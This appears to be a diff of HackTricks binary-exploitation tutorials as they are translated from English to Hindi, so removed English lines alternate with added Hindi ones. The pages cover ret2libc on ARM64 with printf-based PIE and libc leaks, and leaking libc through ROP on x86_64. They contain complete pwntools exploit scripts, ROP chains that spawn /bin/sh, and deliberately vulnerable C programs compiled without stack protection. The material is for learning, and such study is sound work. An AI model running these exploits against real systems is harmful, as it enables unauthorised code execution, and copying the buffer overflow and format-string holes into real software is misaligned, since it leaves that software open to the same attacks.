Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
|
||||
मुख्य फ़ंक्शन के डिस्सेम्बल किए गए रूप को देखने पर, हम देख सकते हैं कि हम **`printf`** पर सीधे **जंप** करना चाहेंगे, जिसका ऑफसेट बाइनरी लोड होने के स्थान से **`0x860`** है:
|
||||
|
||||
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Find system and `/bin/sh` string
|
||||
### सिस्टम और `/bin/sh` स्ट्रिंग खोजें
|
||||
|
||||
As the ASLR is disabled, the addresses are going to be always the same:
|
||||
चूंकि ASLR अक्षम है, पते हमेशा समान रहने वाले हैं:
|
||||
|
||||
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Find Gadgets
|
||||
### गैजेट्स खोजें
|
||||
|
||||
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
|
||||
|
||||
Using rooper an interesting gadget was found:
|
||||
हमें **`x0`** में स्ट्रिंग **`/bin/sh`** का पता होना चाहिए और **`system`** को कॉल करना चाहिए।
|
||||
|
||||
रोपर का उपयोग करते हुए एक दिलचस्प गैजेट पाया गया:
|
||||
```
|
||||
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
```
|
||||
|
||||
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
|
||||
यह गैजेट **`$sp + 0x18`** से `x0` लोड करेगा और फिर `sp` से `x29` और `x30` के पते लोड करेगा और `x30` पर कूद जाएगा। इसलिए इस गैजेट के साथ हम **पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं**।
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
system = libc.sym["system"]
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Ret2main
|
||||
stack_offset = 108
|
||||
@ -90,80 +83,72 @@ p.sendline(payload)
|
||||
p.interactive()
|
||||
p.close()
|
||||
```
|
||||
|
||||
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
|
||||
|
||||
## Ret2lib - NX, ASL & PIE बायपास स्टैक से printf लीक के साथ
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void printfleak()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nPrintf>\n");
|
||||
fgets(buf, sizeof(buf), stdin);
|
||||
printf(buf);
|
||||
char buf[100];
|
||||
printf("\nPrintf>\n");
|
||||
fgets(buf, sizeof(buf), stdin);
|
||||
printf(buf);
|
||||
}
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
Compile **without canary**:
|
||||
|
||||
**बिना कैनरी के संकलित करें**:
|
||||
```bash
|
||||
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
### PIE और ASLR लेकिन कोई कैनरी नहीं
|
||||
|
||||
### PIE and ASLR but no canary
|
||||
- राउंड 1:
|
||||
- स्टैक से PIE का लीक
|
||||
- मेन में वापस जाने के लिए bof का दुरुपयोग
|
||||
- राउंड 2:
|
||||
- स्टैक से libc का लीक
|
||||
- ROP: ret2system
|
||||
|
||||
- Round 1:
|
||||
- Leak of PIE from stack
|
||||
- Abuse bof to go back to main
|
||||
- Round 2:
|
||||
- Leak of libc from the stack
|
||||
- ROP: ret2system
|
||||
### Printf लीक
|
||||
|
||||
### Printf leaks
|
||||
|
||||
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
|
||||
Printf को कॉल करने से पहले एक ब्रेकपॉइंट सेट करने पर यह देखना संभव है कि स्टैक में बाइनरी पर लौटने के लिए पते और libc पते हैं:
|
||||
|
||||
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
|
||||
विभिन्न ऑफसेट्स का प्रयास करते समय, **`%21$p`** एक बाइनरी पता लीक कर सकता है (PIE बायपास) और **`%25$p`** एक libc पता लीक कर सकता है:
|
||||
|
||||
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
|
||||
|
||||
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
|
||||
libc लीक किए गए पते को libc के बेस पते से घटाने पर, यह देखना संभव है कि **बेस से लीक किए गए पते का **ऑफसेट** `0x49c40` है।**
|
||||
|
||||
### x30 offset
|
||||
### x30 ऑफसेट
|
||||
|
||||
See the previous example as the bof is the same.
|
||||
पिछले उदाहरण को देखें क्योंकि bof वही है।
|
||||
|
||||
### Find Gadgets
|
||||
### गैजेट्स खोजें
|
||||
|
||||
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
|
||||
|
||||
Using rooper another interesting gadget was found:
|
||||
पिछले उदाहरण की तरह, हमें **`x0`** में स्ट्रिंग **`/bin/sh`** का पता होना चाहिए और **`system`** को कॉल करना चाहिए।
|
||||
|
||||
Rooper का उपयोग करते हुए एक और दिलचस्प गैजेट मिला:
|
||||
```
|
||||
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
```
|
||||
|
||||
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
|
||||
यह गैजेट **`$sp + 0x78`** से `x0` लोड करेगा और फिर `sp` से `x29` और `x30` के पते लोड करेगा और `x30` पर कूद जाएगा। इसलिए, इस गैजेट के साथ हम **पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर कूद सकते हैं**।
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
|
||||
def leak_printf(payload, is_main_addr=False):
|
||||
p.sendlineafter(b">\n" ,payload)
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
if is_main_addr:
|
||||
response = response[:-4] + b"0000"
|
||||
return int(response, 16)
|
||||
p.sendlineafter(b">\n" ,payload)
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
if is_main_addr:
|
||||
response = response[:-4] + b"0000"
|
||||
return int(response, 16)
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Get main address
|
||||
main_address = leak_printf(b"%21$p", True)
|
||||
@ -213,5 +198,4 @@ p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,84 +1,77 @@
|
||||
# Leaking libc address with ROP
|
||||
# ROP के साथ libc पता लीक करना
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Quick Resume
|
||||
## त्वरित सारांश
|
||||
|
||||
1. **Find** overflow **offset**
|
||||
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
|
||||
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
|
||||
4. With the library, **calculate the ROP and exploit it**
|
||||
1. **ओवरफ्लो** **ऑफसेट** खोजें
|
||||
2. **खोजें** `POP_RDI` गैजेट, `PUTS_PLT` और `MAIN` गैजेट
|
||||
3. पिछले गैजेट्स का उपयोग करें **puts** या अन्य libc फ़ंक्शन का **मेमोरी पता लीक करने** के लिए और **libc संस्करण खोजें** ([donwload it](https://libc.blukat.me))
|
||||
4. पुस्तकालय के साथ, **ROP की गणना करें और इसका शोषण करें**
|
||||
|
||||
## Other tutorials and binaries to practice
|
||||
## अभ्यास के लिए अन्य ट्यूटोरियल और बाइनरी
|
||||
|
||||
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
यह ट्यूटोरियल इस ट्यूटोरियल में प्रस्तावित कोड/बाइनरी का शोषण करने जा रहा है: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
अन्य उपयोगी ट्यूटोरियल: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
|
||||
## Code
|
||||
|
||||
Filename: `vuln.c`
|
||||
## कोड
|
||||
|
||||
फाइल का नाम: `vuln.c`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
char buffer[32];
|
||||
puts("Simple ROP.\n");
|
||||
gets(buffer);
|
||||
char buffer[32];
|
||||
puts("Simple ROP.\n");
|
||||
gets(buffer);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
```
|
||||
## ROP - LIBC लीक करने का टेम्पलेट
|
||||
|
||||
## ROP - Leaking LIBC template
|
||||
|
||||
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
|
||||
एक्सप्लॉइट डाउनलोड करें और इसे कमजोर बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
|
||||
## 1- Finding the offset
|
||||
|
||||
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
|
||||
## 1- ऑफसेट खोजना
|
||||
|
||||
टेम्पलेट को एक्सप्लॉइट के साथ आगे बढ़ने से पहले एक ऑफसेट की आवश्यकता होती है। यदि कोई प्रदान किया गया है, तो यह इसे खोजने के लिए आवश्यक कोड निष्पादित करेगा (डिफ़ॉल्ट रूप से `OFFSET = ""`):
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
###################
|
||||
OFFSET = ""#"A"*72
|
||||
if OFFSET == "":
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(r.clean())
|
||||
r.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(r.clean())
|
||||
r.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
|
||||
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
|
||||
|
||||
**कार्यान्वित करें** `python template.py` एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस **GDB कंसोल** के अंदर `x/wx $rsp` निष्पादित करें ताकि **बाइट्स** प्राप्त हो सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक **python** कंसोल का उपयोग करके **ऑफसेट** प्राप्त करें:
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
```
|
||||
|
||||
.png>)
|
||||
|
||||
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
|
||||
ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें।\
|
||||
`OFFSET = "A" * 40`
|
||||
|
||||
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
|
||||
एक और तरीका होगा: `pattern create 1000` -- _ret तक निष्पादित करें_ -- `pattern seach $rsp` GEF से।
|
||||
|
||||
## 2- Finding Gadgets
|
||||
|
||||
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
|
||||
## 2- गैजेट्स खोजना
|
||||
|
||||
अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स `puts` को कॉल करने के लिए उपयोगी होंगे ताकि **libc** का पता लगाया जा सके, और बाद में **अंतिम एक्सप्लॉइट लॉन्च** करने के लिए।
|
||||
```python
|
||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||
MAIN_PLT = elf.symbols['main']
|
||||
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
|
||||
log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
`PUTS_PLT` को **function puts** को कॉल करने के लिए आवश्यक है।\
|
||||
`MAIN_PLT` को **main function** को फिर से कॉल करने के लिए आवश्यक है एक इंटरैक्शन के बाद **overflow** को **फिर से** **exploit** करने के लिए (शाश्वत शोषण के राउंड)। **यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है।**\
|
||||
**POP_RDI** को कॉल की गई फ़ंक्शन को **parameter** **pass** करने के लिए आवश्यक है।
|
||||
|
||||
The `PUTS_PLT` is needed to call the **function puts**.\
|
||||
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
|
||||
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
|
||||
इस चरण में आपको कुछ भी निष्पादित करने की आवश्यकता नहीं है क्योंकि सब कुछ pwntools द्वारा निष्पादन के दौरान पाया जाएगा।
|
||||
|
||||
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
|
||||
|
||||
## 3- Finding libc library
|
||||
|
||||
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
|
||||
## 3- libc लाइब्रेरी खोजना
|
||||
|
||||
अब यह पता लगाने का समय है कि कौन सी **libc** लाइब्रेरी का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम **function** `puts` के मेमोरी में **address** को **leak** करने जा रहे हैं और फिर हम यह **खोजने** जा रहे हैं कि उस पते में puts संस्करण किस **library version** में है।
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
|
||||
#Send our rop-chain payload
|
||||
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||||
print(p.clean()) # clean socket buffer (read all and print)
|
||||
p.sendline(rop1)
|
||||
#Send our rop-chain payload
|
||||
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||||
print(p.clean()) # clean socket buffer (read all and print)
|
||||
p.sendline(rop1)
|
||||
|
||||
#Parse leaked address
|
||||
recieved = p.recvline().strip()
|
||||
leak = u64(recieved.ljust(8, "\x00"))
|
||||
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||||
#If not libc yet, stop here
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
#Parse leaked address
|
||||
recieved = p.recvline().strip()
|
||||
leak = u64(recieved.ljust(8, "\x00"))
|
||||
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||||
#If not libc yet, stop here
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
|
||||
return hex(leak)
|
||||
return hex(leak)
|
||||
|
||||
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
||||
if libc == "":
|
||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||
p.interactive()
|
||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
To do so, the most important line of the executed code is:
|
||||
|
||||
इसको करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है:
|
||||
```python
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
यह कुछ बाइट्स भेजेगा जब तक **RIP** को **ओवरराइट** करना संभव न हो: `OFFSET`.\
|
||||
फिर, यह **गैजेट** `POP_RDI` का **पता** सेट करेगा ताकि अगला पता (`FUNC_GOT`) **RDI** रजिस्ट्रि में सहेजा जा सके। इसका कारण यह है कि हम **puts** को **कॉल** करना चाहते हैं **उसे** `PUTS_GOT` का **पता** पास करते हुए क्योंकि मेमोरी में puts फ़ंक्शन का पता `PUTS_GOT` द्वारा इंगित किए गए पते में सहेजा गया है।\
|
||||
इसके बाद, `PUTS_PLT` को कॉल किया जाएगा (जिसमें `PUTS_GOT` **RDI** के अंदर है) ताकि puts `PUTS_GOT` के अंदर की सामग्री (**मेमोरी में puts फ़ंक्शन का पता**) को **पढ़े** और इसे **प्रिंट** करे।\
|
||||
अंत में, **मुख्य फ़ंक्शन फिर से कॉल किया जाता है** ताकि हम फिर से ओवरफ्लो का लाभ उठा सकें।
|
||||
|
||||
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
|
||||
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
|
||||
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
|
||||
Finally, **main function is called again** so we can exploit the overflow again.
|
||||
|
||||
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
|
||||
इस तरह हमने **puts फ़ंक्शन** को **प्रिंट** करने के लिए **धोखा** दिया है **मेमोरी** में फ़ंक्शन **puts** का **पता** (जो **libc** लाइब्रेरी के अंदर है)। अब जब हमारे पास वह पता है, हम **खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है**।
|
||||
|
||||
.png>)
|
||||
|
||||
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
But, in a remote exploit case I will explain here how can you find it:
|
||||
चूंकि हम कुछ **स्थानीय** बाइनरी का **शोषण** कर रहे हैं, इसलिए यह **जानने की आवश्यकता नहीं है** कि कौन सा **libc** संस्करण उपयोग में है (बस `/lib/x86_64-linux-gnu/libc.so.6` में लाइब्रेरी खोजें)।\
|
||||
लेकिन, एक दूरस्थ शोषण मामले में, मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं:
|
||||
|
||||
### 3.1- Searching for libc version (1)
|
||||
### 3.1- libc संस्करण की खोज (1)
|
||||
|
||||
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
It will also allow you to download the discovered version of **libc**
|
||||
आप वेब पृष्ठ पर देख सकते हैं कि कौन सी लाइब्रेरी उपयोग में है: [https://libc.blukat.me/](https://libc.blukat.me)\
|
||||
यह आपको **libc** के खोजे गए संस्करण को डाउनलोड करने की भी अनुमति देगा।
|
||||
|
||||
.png>)
|
||||
|
||||
### 3.2- Searching for libc version (2)
|
||||
### 3.2- libc संस्करण की खोज (2)
|
||||
|
||||
You can also do:
|
||||
आप यह भी कर सकते हैं:
|
||||
|
||||
- `$ git clone https://github.com/niklasb/libc-database.git`
|
||||
- `$ cd libc-database`
|
||||
- `$ ./get`
|
||||
|
||||
This will take some time, be patient.\
|
||||
For this to work we need:
|
||||
इसमें कुछ समय लगेगा, धैर्य रखें।\
|
||||
इसके काम करने के लिए हमें आवश्यकता है:
|
||||
|
||||
- Libc symbol name: `puts`
|
||||
- Leaked libc adddress: `0x7ff629878690`
|
||||
|
||||
We can figure out which **libc** that is most likely used.
|
||||
- Libc प्रतीक नाम: `puts`
|
||||
- लीक किया गया libc पता: `0x7ff629878690`
|
||||
|
||||
हम यह पता लगा सकते हैं कि कौन सा **libc** सबसे अधिक संभावना है कि उपयोग में है।
|
||||
```bash
|
||||
./find puts 0x7ff629878690
|
||||
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||||
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||||
```
|
||||
|
||||
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
|
||||
|
||||
हमारे पास 2 मेल हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आजमाना चाहिए)। पहला डाउनलोड करें:
|
||||
```bash
|
||||
./download libc6_2.23-0ubuntu10_amd64
|
||||
Getting libc6_2.23-0ubuntu10_amd64
|
||||
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||||
-> Downloading package
|
||||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||||
-> Downloading package
|
||||
-> Extracting package
|
||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||
```
|
||||
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` से libc को हमारी कार्यशील निर्देशिका में कॉपी करें।
|
||||
|
||||
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
|
||||
|
||||
### 3.3- Other functions to leak
|
||||
|
||||
### 3.3- लीक करने के लिए अन्य फ़ंक्शन
|
||||
```python
|
||||
puts
|
||||
printf
|
||||
@ -198,28 +181,24 @@ __libc_start_main
|
||||
read
|
||||
gets
|
||||
```
|
||||
## 4- आधारित libc पता लगाना और शोषण करना
|
||||
|
||||
## 4- Finding based libc address & exploiting
|
||||
इस बिंदु पर हमें उपयोग की जाने वाली libc लाइब्रेरी का पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं बस उपयोग करूंगा: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
|
||||
तो, `template.py` के शुरुआत में **libc** वेरिएबल को बदलें: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||||
|
||||
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||||
|
||||
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
|
||||
|
||||
Inside the `get_addr`function the **base address of libc** is going to be calculated:
|
||||
**libc लाइब्रेरी** के लिए **पथ** देने से **शोषण स्वचालित रूप से गणना किया जाएगा**।
|
||||
|
||||
`get_addr` फ़ंक्शन के अंदर **libc का आधार पता** गणना किया जाएगा:
|
||||
```python
|
||||
if libc != "":
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
|
||||
|
||||
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
|
||||
> ध्यान दें कि **अंतिम libc बेस पता 00 पर समाप्त होना चाहिए**। यदि ऐसा नहीं है, तो आप एक गलत पुस्तकालय लीक कर सकते हैं।
|
||||
|
||||
फिर, फ़ंक्शन `system` का पता और स्ट्रिंग _"/bin/sh"_ का **पता** **libc** के **बेस पते** से **गणना** किया जाएगा और **libc पुस्तकालय** दिया जाएगा।
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
|
||||
Finally, the /bin/sh execution exploit is going to be prepared sent:
|
||||
|
||||
अंत में, /bin/sh निष्पादन शोषण तैयार किया जा रहा है:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
@ -240,65 +217,56 @@ p.sendline(rop2)
|
||||
#### Interact with the shell #####
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
आइए इस अंतिम ROP को समझाते हैं।\
|
||||
अंतिम ROP (`rop1`) ने फिर से मुख्य फ़ंक्शन को कॉल किया, फिर हम **फिर से शोषण कर सकते हैं** **ओवरफ्लो** (इसलिए `OFFSET` यहाँ फिर से है)। फिर, हम `POP_RDI` को कॉल करना चाहते हैं जो _"/bin/sh"_ (`BINSH`) के **पते** की ओर इशारा करता है और **system** फ़ंक्शन (`SYSTEM`) को कॉल करते हैं क्योंकि _"/bin/sh"_ का पता एक पैरामीटर के रूप में पास किया जाएगा।\
|
||||
अंत में, **exit फ़ंक्शन का पता** **कॉल** किया जाता है ताकि प्रक्रिया **अच्छी तरह से समाप्त हो** जाए और कोई अलर्ट उत्पन्न न हो।
|
||||
|
||||
Let's explain this final ROP.\
|
||||
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
|
||||
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
|
||||
|
||||
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
|
||||
**इस तरह शोषण एक \_/bin/sh**\_\*\* शेल को निष्पादित करेगा।\*\*
|
||||
|
||||
.png>)
|
||||
|
||||
## 4(2)- Using ONE_GADGET
|
||||
## 4(2)- ONE_GADGET का उपयोग करना
|
||||
|
||||
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
|
||||
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||||
आप [**ONE_GADGET** ](https://github.com/david942j/one_gadget) का उपयोग करके **system** और **"/bin/sh"** के बजाय एक शेल प्राप्त कर सकते हैं। **ONE_GADGET** libc पुस्तकालय के अंदर एक शेल प्राप्त करने का एक तरीका खोजेगा जो केवल एक **ROP पता** का उपयोग करता है।\
|
||||
हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से बचने वाली सीमाएँ हैं जैसे `[rsp+0x30] == NULL`। चूंकि आप **RSP** के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि सीमा से बचा जा सके।
|
||||
|
||||
.png>)
|
||||
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
|
||||
## EXPLOIT FILE
|
||||
|
||||
You can find a template to exploit this vulnerability here:
|
||||
आप इस कमजोरियों का फायदा उठाने के लिए एक टेम्पलेट यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
|
||||
## Common problems
|
||||
## सामान्य समस्याएँ
|
||||
|
